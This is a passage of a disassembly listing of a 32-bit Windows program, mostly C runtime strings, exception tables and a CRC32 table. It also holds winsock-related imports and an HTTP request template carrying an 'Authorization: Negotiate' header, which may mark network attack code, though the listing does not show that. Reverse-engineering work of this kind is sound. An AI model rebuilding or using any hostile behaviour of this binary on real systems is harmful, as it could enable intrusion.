		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_423002
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_423002:				; CODE XREF: sub_422F03+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_4230B4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 27C0000h
		test	eax, eax
		jz	loc_4230B4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_423057
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx

loc_423057:				; CODE XREF: sub_422F03+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_4230B4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_42306B
		mov	eax, dword_48A0A8

loc_42306B:				; CODE XREF: sub_422F03+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 25D0874h
		nop
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_4230B4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_4230B4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_4182C0
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_4230B6
; ---------------------------------------------------------------------------

loc_4230B4:				; CODE XREF: sub_422F03+61j
					; sub_422F03+8Ej ...
		xor	eax, eax

loc_4230B6:				; CODE XREF: sub_422F03+86j
					; sub_422F03+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_4230C8	proc near		; DATA XREF: ___:00424F14o

; FUNCTION CHUNK AT 0040445C SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40445C
sub_4230C8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_4230E6
		mov	ecx, [ebp+8]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

locret_4230E6:				; CODE XREF: ___:004230D8j
		retn
; ---------------------------------------------------------------------------

loc_4230E7:				; DATA XREF: sub_404032o
		mov	eax, offset dword_424EE8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

loc_4230FC:				; DATA XREF: ___:00424F44o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

loc_423104:				; DATA XREF: sub_4041D4o
		mov	eax, offset dword_424F18
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		align 10h

loc_423110:				; DATA XREF: sub_40473Fo
		mov	eax, offset dword_424F48
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------

loc_423122:				; DATA XREF: sub_4227EEo
		mov	eax, offset dword_424FA8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

loc_423134:				; DATA XREF: sub_422863o
		mov	eax, offset dword_425040
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------

loc_423146:				; DATA XREF: sub_4228C0o
		mov	eax, offset dword_425064
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------

loc_423158:				; DATA XREF: sub_422908o
		mov	eax, offset dword_425088
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

loc_42316A:				; DATA XREF: sub_42298Ao
		mov	eax, offset dword_4250E8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		dd 3A3h	dup(0)
		dd 2590000h, 2590231h, 25A0000h, 25A05F7h, 25B0000h, 25B0AD1h
		dd 25B0B3Bh, 25C0000h, 25C00BFh, 25C0607h, 25D0000h, 25D0874h
		dd 25E0000h, 25E08BEh, 25E0AECh
dword_42403C	dd 25E0AFDh		; DATA XREF: sub_41F48D+9r
		dd 25E0B91h, 25E0E53h, 25E0E84h, 25F0000h, 25F029Ch, 25F030Eh
dword_424058	dd 25F09B1h		; DATA XREF: sub_40144A+1A6r
					; sub_401D82+3Dr ...
		dd 25F0A51h, 2600000h
dword_424064	dd 26003D2h		; DATA XREF: sub_40797F+D1r
					; sub_40D3A5+29r
		dd 2600423h, 2610000h
dword_424070	dd 2620000h		; DATA XREF: sub_40DC82+Fr
					; sub_4199B9+54r ...
dword_424074	dd 2630000h		; DATA XREF: sub_4168E9+Br
dword_424078	dd 26309DCh		; DATA XREF: ___:00404E30r
					; sub_40AB7C+67r ...
		dd 2640000h, 2650000h
dword_424084	dd 2650975h		; DATA XREF: sub_40AB7C+36r
		dd 2650BE2h
dword_42408C	dd 2650C45h		; DATA XREF: sub_4168E9:loc_41697Ar
		dd 2650C92h, 2660000h, 2670000h, 2680000h
dword_4240A0	dd 2680AA8h		; DATA XREF: sub_4165C6+32r
		dd 2680C58h, 2690000h, 26900D3h, 26A0000h, 26A0657h, 26B0000h
dword_4240BC	dd 26C0000h		; DATA XREF: sub_408EE5+26r
		dd 26D0000h, 77F7E300h,	77F7E21Fh, 26D0CFFh, 26E0000h
		dd 26E06A8h
dword_4240D8	dd 26E08E5h		; DATA XREF: sub_409037+BCr
dword_4240DC	dd 26F0000h		; DATA XREF: sub_409037+60r
					; sub_40981F+11r ...
dword_4240E0	dd 26F0825h		; DATA XREF: sub_40981F:loc_409D0Fr
		dd 2700000h
dword_4240E8	dd 2710000h		; DATA XREF: sub_409209+21r
					; sub_409392+4Ar
dword_4240EC	dd 2710C13h		; DATA XREF: sub_409209+10r
					; sub_409392+40r ...
		dd 2710C73h
dword_4240F4	dd 2720000h		; DATA XREF: sub_409392+56r
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 2, 72h, 2
		dd 2720810h
dword_424100	dd 2720D85h		; DATA XREF: sub_40981F+2r
		dd 2730000h, 2740000h, 274067Ah, 2740B9Bh, 2750000h, 275063Eh
		dd 2760000h, 276063Ch, 2770000h, 27710A5h, 2771196h, 2780000h
		dd 2780589h, 2780947h
dword_42413C	dd 2780F4Fh		; DATA XREF: sub_40B56C+79r
					; sub_416810+3Ar
dword_424140	dd 2790000h		; DATA XREF: sub_40B56C+3Br
					; sub_416717+23r
		dd 27A0000h, 27B0000h, 77E75CB5h
dword_424150	dd 27C0000h		; DATA XREF: sub_40DBB0+13r
					; sub_41F48D+7Er ...
		dd 27D0000h, 27D0BEDh, 27D0CA1h
dword_424160	dd 27E0000h		; DATA XREF: sub_40E6A9:loc_40E864r
		dd 27E03F6h
dword_424168	dd 27E09C6h		; DATA XREF: sub_4165C6:loc_4166B2r
		dd 27E0B69h, 27E0C8Eh, 27F0000h, 27F02D8h, 27F0807h, 27F0ADCh
		dd 27F0BB7h, 2800000h, 2810000h, 2820000h, 2830000h, 2840000h
		dd 2841A04h, 2841A18h, 2850000h, 2850EE0h, 2860000h
dword_4241B0	dd 286061Ah		; DATA XREF: sub_41ADB4+240r
dword_4241B4	dd 286077Eh		; DATA XREF: sub_41B888:loc_41B8B9r
		dd 2860935h, 2870000h, 287048Eh, 2880000h, 2890000h, 28910C2h
		dd 2891791h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB41DAh, 71AB3F8Dh, 71AB3ECEh, 71AB5DE2h, 71AB868Dh
		dd 71AB8629h, 71AB2BBFh, 71AB12F8h, 71AB1836h
dword_424204	dd 71AB5690h		; DATA XREF: sub_404F9A+6Ar
dword_424208	dd 71AB1AF4h		; DATA XREF: sub_4053D5+E4r
		db 90h
		db 18h,	0ABh, 71h
		dd 71AB1B7Bh, 71AB3C22h, 71AB155Ah, 71AB3E5Dh, 71AB1A6Dh
		dd 71AB1746h, 2	dup(0)
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041D4+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_424270	dq 1.388888888888889e-2	; DATA XREF: sub_403FE6+2Fr
dbl_424278	dq 1.666666666666667e-1	; DATA XREF: sub_403FE6+15r
dword_424280	dd 0FFFFFFFFh		; DATA XREF: sub_404032+16Fr
					; sub_404464r ...
		align 8
dbl_424288	dq 1.333333333333333	; DATA XREF: sub_404032+79r
dword_424290	dd 0			; DATA XREF: sub_4041D4+4Do
					; sub_404514+5Bo ...
flt_424294	dd 5.0e-1		; DATA XREF: ___:00404CE7r
dword_424298	dd 0			; DATA XREF: sub_40C21E+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dbl_424698	dq 9.765625e-4		; DATA XREF: sub_40CAF1+2BDr
					; sub_40CAF1+2D8r ...
dbl_4246A0	dq -3.0517578125e-5	; DATA XREF: sub_415450+1Er
dbl_4246A8	dq 1.0			; DATA XREF: sub_417CA4+6Cr
					; sub_417DEB+6Cr ...
		dd 0FFFFFFFFh, 419CBBh,	419CCFh
byte_4246BC	db 6			; DATA XREF: sub_419E38:loc_419E8Fr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43959Co
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_439598o
		align 10h
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41AB9C+8Eo
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41AB9C+4Fo
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43B7ECo
		align 8
dbl_424818	dq 0.0			; DATA XREF: sub_41C2F3+8Cr
					; sub_41C2F3+ACr ...
dbl_424820	dq 4.195835e6		; DATA XREF: sub_41C808+Fr
dbl_424828	dq 3.145727e6		; DATA XREF: sub_41C808+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C846+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41C846o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_41C96D+93o
		align 10h
dword_424860	dd 0FFFFFFFFh, 41D058h,	41D062h, 0 ; DATA XREF:	sub_41CFF1+5o
dword_424870	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D120+5o
		dd offset loc_41D1DE
		align 10h
		dd offset sub_41D1BC
		dd offset sub_41D1C6
dword_424888	dd 0FFFFFFFFh, 41D40Eh,	41D412h, 0 ; DATA XREF:	sub_41D256+5o
dword_424898	dd 0FFFFFFFFh, 41D470h,	41D479h, 0 ; DATA XREF:	sub_41D41A+5o
dword_4248A8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D4FC+5o
		dd offset loc_41D54D
		align 8
		dd offset loc_41D539
		dd offset loc_41D53D
dword_4248C0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D552+5o
		dd offset loc_41D5A3
		align 10h
		dd offset loc_41D58F
		dd offset loc_41D593
dword_4248D8	dd 2 dup(0)		; DATA XREF: sub_41E709+36o
					; sub_41FB63+39o ...
dword_4248E0	dd 0FFFFFFFFh, 41E819h,	41E81Dh, 0FFFFFFFFh, 41E8CDh, 41E8D1h
					; DATA XREF: sub_41E709+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43BC2Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F885+119o
		align 4
asc_424BA8	db 0Ah			; DATA XREF: sub_41F885+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41F885+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_41F885+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41F885+7Do
		align 8
dword_424BE8	dd 0FFFFFFFFh, 41FC5Ch,	41FC60h	; DATA XREF: sub_41FB63+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_42094E+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_42105F+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_42105F+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_42105F+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4219A9:loc_421A9Eo
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_4219A9+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_4219A9+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4219A9+ADo
		align 4
dword_424C88	dd 0FFFFFFFFh, 4223A1h,	4223A5h, 0FFFFFFFFh, 422410h, 422414h
					; DATA XREF: sub_4221EA+5o
		dd 424DC4h
off_424CA4	dd offset loc_4227D2	; DATA XREF: sub_4227AA+8o
					; sub_4227EE+2Co ...
		dd offset sub_4227C5
		dd offset sub_4229E6
		dd offset dword_424E10
off_424CB4	dd offset sub_42283C	; DATA XREF: sub_4227EE+3Ao
					; sub_422858o ...
		dd offset sub_4227C5
		dd offset loc_422A22
dword_424CC0	dd 0			; DATA XREF: sub_4227EE+16o
					; sub_4228C0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_422863+11o
		dd offset dword_424E5C
off_424CE0	dd offset sub_42294B	; DATA XREF: sub_422967o
					; sub_42298A+37o ...
		dd offset sub_4227C5
		dd offset loc_422A04
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42298A+11o
		dd offset dword_424EA0
off_424D00	dd offset loc_422AE7	; DATA XREF: sub_422AD2o
					; ___:off_43C34Co ...
		dd offset dword_424ED0
off_424D08	dd offset loc_422B03	; DATA XREF: sub_422B1F+8o
					; sub_422B5C+8o ...
		dd offset sub_422BBC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_422BBC+7o
		align 8
dword_424D28	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_422BC9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_424D48	dd 0FFFFFFFFh, 422D7Ah,	422D7Eh, 0FFFFFFFFh, 422DF7h, 422DFBh
					; DATA XREF: sub_422C78+5o
dword_424D60	dd 0FFFFFFFFh, 422FEFh,	422FF3h, 0FFFFFFFFh, 42304Ch, 423050h
					; DATA XREF: sub_422F03+5o
		dd 43C34Ch, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_424D90	dd offset off_43C364	; DATA XREF: ___:00424DA8o
					; ___:00424DF4o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424DB0	dd 3 dup(0)		; DATA XREF: ___:00424DD4o
		dd 2, 424DA8h, 3 dup(0)
		dd offset off_43C364
		dd offset dword_424DB0+4
off_424DD8	dd offset off_43C384	; DATA XREF: ___:00424DF0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424DD8
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424DFC	dd 3 dup(0)		; DATA XREF: ___:00424E20o
		dd 3, 424DF0h
dword_424E10	dd 3 dup(0)		; DATA XREF: ___:00424CB0o
		dd offset off_43C384
		dd offset dword_424DFC+4
; ---------------------------------------------------------------------------

loc_424E24:				; DATA XREF: ___:00424E3Co
		movsb
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset loc_424E24
		dd offset off_424D90
		dd offset dword_424D60+18h
		dd 3 dup(0)
		dd 3, 424E3Ch
dword_424E5C	dd 3 dup(0)		; DATA XREF: ___:00424CDCo
; ---------------------------------------------------------------------------
		movsb
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	[esi+ecx*2+42h], cl

loc_424E6F:				; DATA XREF: ___:00424E88o
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset loc_424E6F+1
dword_424E8C	dd 3 dup(0)		; DATA XREF: ___:00424EB0o
		dd 1, 424E88h
dword_424EA0	dd 3 dup(0)		; DATA XREF: ___:00424CFCo
		dd offset off_43C3C8
		dd offset dword_424E8C+4
		dd offset dword_424D60+18h
dword_424EB8	dd 4 dup(0)		; DATA XREF: ___:00424EE0o
		dd 1, 424EB4h
dword_424ED0	dd 3 dup(0)		; DATA XREF: ___:00424D04o
		dd offset off_43C34C
		dd offset dword_424EB8+8
		align 8
dword_424EE8	dd 19930520h, 2, 424F08h, 5 dup(0) ; DATA XREF:	___:loc_4230E7o
		dd 0FFFFFFFFh, 4230D0h,	0
		dd offset sub_4230C8
dword_424F18	dd 19930520h, 2, 424F38h, 5 dup(0) ; DATA XREF:	___:loc_423104o
		dd 0FFFFFFFFh, 4230F4h,	0
		dd offset loc_4230FC
dword_424F48	dd 19930520h, 2, 424F68h, 1, 424F78h, 3	dup(0) ; DATA XREF: ___:loc_423110o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 424F90h, 4	dup(0)
		dd offset loc_40477E
		dd 0FFFFFFFFh, 42311Ah
dword_424FA8	dd 19930520h, 1, 424FA0h, 5 dup(0) ; DATA XREF:	___:loc_423122o
		dd offset off_43C34C
		align 10h
		dd 0FFFFFFFFh, 0
		dd 0Ch,	422B5Ch, 0
		dd offset off_43C364
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	422908h, 0
		dd offset off_43C384
		align 8
		dd 0FFFFFFFFh, 0
dword_425010	dd 1Ch,	422972h, 3, 424FFCh, 424FE0h, 424FC4h ;	DATA XREF: ___:00425034o
dword_425028	dd 0			; DATA XREF: sub_422863+2Eo
					; sub_4229E6+4Bo
		dd offset sub_422858
		dd 0
		dd offset dword_425010+8
		dd 0FFFFFFFFh, 42312Ch
dword_425040	dd 19930520h, 1, 425038h, 4 dup(0) ; DATA XREF:	___:loc_423134o
		dd 0FFFFFFFFh, 42313Eh
dword_425064	dd 19930520h, 1, 42505Ch, 4 dup(0) ; DATA XREF:	___:loc_423146o
		dd 0FFFFFFFFh, 423150h
dword_425088	dd 19930520h, 1, 425080h, 5 dup(0) ; DATA XREF:	___:loc_423158o
; ---------------------------------------------------------------------------
		movsb
		retn
; ---------------------------------------------------------------------------
		dw 43h
		align 10h
		dd 0FFFFFFFFh, 0
dword_4250B8	dd 1Ch,	4229CEh, 3, 4250A4h, 424FE0h, 424FC4h ;	DATA XREF: ___:004250DCo
dword_4250D0	dd 0			; DATA XREF: sub_42298A+2Eo
					; sub_4229E6+2Do
		dd offset sub_422967
		dd 0
		dd offset dword_4250B8+8
		dd 0FFFFFFFFh, 423162h
dword_4250E8	dd 19930520h, 1, 4250E0h, 4 dup(0) ; DATA XREF:	___:loc_42316Ao
dword_425104	dd 2, 424FE0h, 424FC4h	; DATA XREF: ___:0042511Co
dword_425110	dd 0			; DATA XREF: sub_4229E6+Fo
		dd offset sub_4227AA
		dd 0
		dd offset dword_425104
		dd 5 dup(8E4198Ah), 5 dup(3ABA1C8Bh), 5	dup(492D9369h)
		dd 7Ah dup(0)
		dd 492D9369h, 0
		dd 8E4198Ah, 12h dup(0)
		dd 3ABA1C8Bh, 319h dup(0)
dword_426000	dd 0			; DATA XREF: sub_419AB8+1Fo
		dd offset sub_4030CC
		dd offset sub_40482C
		dd offset sub_40484E
dword_426010	dd 0			; DATA XREF: sub_419AB8+1Ao
dword_426014	dd 0			; DATA XREF: sub_419AB8+10o
		dd offset sub_418682
		dd offset sub_41ECF1
		dd offset sub_41FA42
		dd offset dword_4208B4
dword_426028	dd 0			; DATA XREF: sub_419AB8:loc_419AC3o
dword_42602C	dd 0			; DATA XREF: sub_419B07+65o
		dd offset sub_41FAE7
dword_426034	dd 0			; DATA XREF: sub_419B07:loc_419B67o
dword_426038	dd 0			; DATA XREF: sub_419B07+76o
		dd offset dword_4208B4+11h
dword_426040	dd 4 dup(0)		; DATA XREF: sub_419B07:loc_419B78o
unk_426050	db    2			; DATA XREF: sub_401000+5Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
